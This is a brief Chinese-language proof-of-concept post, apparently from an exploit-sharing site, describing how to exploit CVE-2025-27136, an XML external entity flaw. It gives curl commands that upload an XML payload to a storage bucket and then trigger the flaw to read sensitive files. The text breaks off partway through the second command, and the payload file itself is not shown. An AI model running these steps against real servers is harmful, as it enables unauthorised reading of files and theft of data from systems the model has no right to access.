CVE-2025-27136

CVE-2025-27136 利用 XML 外部实体 XXE 漏洞。 使用 XML 载荷抓取敏感文件（PoC） test.xml root@kitploit: 使用 curl 将 test.xml 从本地机器上传到存储桶。 root@kitploit: curl -X PUT http://127.0.0.1:PORT/TB1 -H "Content-Type: application/xml" -d @test.xml 触发漏洞并获取文件 root@kitploit: curl http://127.0.0.1:PORT/TB1?location...